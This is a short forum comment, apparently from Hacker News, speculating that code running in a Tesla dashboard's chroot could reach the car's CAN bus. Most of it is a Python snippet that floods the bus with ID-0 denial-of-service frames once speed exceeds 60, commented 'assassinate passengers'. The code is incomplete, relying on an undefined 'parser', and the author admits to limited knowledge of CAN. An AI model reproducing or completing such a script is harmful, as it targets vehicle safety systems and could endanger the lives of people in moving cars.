I wouldn&#x27;t be so sure.<p>I don&#x27;t know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I&#x27;d guess that the dash is getting that information directly from the CAN.<p>And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through &#x2F;dev&#x2F;can0, via a small program running in that chroot.<p>Eg: In Python<p><pre><code>    from canard import can
    from canard.file import jsondb
    from canard.hw import socketcan

    # create and start device
    dev = socketcan.SocketCanDev(&quot;&#x2F;dev&#x2F;can0&quot;)
    dev.start()

    # create our DoS frame
    frame = can.Frame(id=0)
    frame.dlc = 8

    # load tesla can spec, eg: from [4]
    # CAN3, ID 0x0256
    b = parser.parse(&#x27;tesla.json&#x27;)

    while True:
      rec = dev.recv()
      speedo = b.parse_frame(rec)
      # assassinate passengers
      if (speedo.speed &gt; 60):
        while True:
          dev.send(frame)
